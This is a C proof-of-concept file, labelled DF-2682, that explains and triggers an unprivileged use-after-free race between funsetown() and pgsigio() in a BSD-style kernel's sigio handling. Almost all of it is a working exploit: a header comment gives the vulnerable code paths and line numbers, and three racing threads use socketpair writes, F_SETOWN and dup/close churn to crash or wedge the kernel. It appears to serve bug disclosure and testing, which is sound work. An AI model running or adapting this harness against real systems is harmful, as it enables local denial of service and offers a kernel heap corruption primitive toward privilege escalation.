DF-2682 / sigio_uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | /* * DF-2682 PoC: sigio use-after-free race -- funsetown() vs pgsigio(). * * funsetown() (sys/kern/kern_descrip.c:1245-1273) clears *sigiop under * sigio_token and then, with NO reference counting and no token held, * removes the sigio from the owner list and kfree()s it. Lockless * readers -- sowakeup() at sys/kern/uipc_socket2.c:601-602: * * if ((so->so_state & SS_ASYNC) && so->so_sigio != NULL) * pgsigio(so->so_sigio, SIGIO, 0); * * load so->so_sigio without the token and dereference the raw pointer * inside pgsigio() (sys/kern/kern_sig.c:2639+: sigio->sio_pgid, * sigio->sio_pgrp / pgref(), sigio->sio_ucred, sigio->sio_proc ...). * If funsetown() wins the race the reader operates on freed memory: * kernel heap UAF, unprivileged. * * Harness: unprivileged process, three threads. * W: write()s into socketpair end B -> data arrives at A -> * sowakeup(A) -> pgsigio(A->so_sigio) [READER, hot loop] * C: churns the sigio lifecycle on A: * fcntl(A, F_SETOWN, pid) -> fsetown() frees the OLD sigio * dup(A); close(dup) -> soclose() -> funsetown() frees * the CURRENT sigio * two free events per iteration against the reader storm. * * Success criterion: kernel panic (UAF/INVARIANTS) or wedge; run for * N seconds. Whole loop is unprivileged. */ #include <sys/fcntl.h> #include <sys/socket.h> #include <errno.h> #include <err.h> #include <pthread.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static int sv[2]; static volatile unsigned long writes, churns; static volatile int stop; static void * writer_thr(void *arg) { char b = 'x'; char sink[64]; while (!stop) { if (write(sv[1], &b, 1) == 1) writes++; /* drain the O_ASYNC side so the socket buffer never fills * (each arrival is another sowakeup()->pgsigio() pass) */ recv(sv[0], sink, sizeof(sink), MSG_DONTWAIT); } return (NULL); } static void * churn_thr(void *arg) { int fd; while (!stop) { /* fsetown(): frees previous sigio, installs a fresh one */ if (fcntl(sv[0], F_SETOWN, getpid()) < 0) { if (errno != ESRCH) perror("F_SETOWN"); } /* close of a dup: soclose() -> funsetown() -> free */ fd = dup(sv[0]); if (fd >= 0) close(fd); churns++; } return (NULL); } int main(int argc, char **argv) { pthread_t tw, tc; int secs = 60; int flags; if (argc > 1) secs = atoi(argv[1]); if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) err(1, "socketpair"); signal(SIGIO, SIG_IGN); if (fcntl(sv[0], F_SETOWN, getpid()) < 0) err(1, "F_SETOWN"); flags = fcntl(sv[0], F_GETFL); if (fcntl(sv[0], F_SETFL, flags | O_ASYNC) < 0) err(1, "F_SETFL O_ASYNC"); pthread_create(&tw, NULL, writer_thr, NULL); pthread_create(&tc, NULL, churn_thr, NULL); printf("DF-2682: uid=%d racing pgsigio() readers against " "funsetown() frees for %ds...\n", getuid(), secs); fflush(stdout); sleep(secs); stop = 1; pthread_join(tw, NULL); pthread_join(tc, NULL); printf("survived: writes=%lu churns=%lu (no panic in %ds)\n", writes, churns, secs); return (2); } |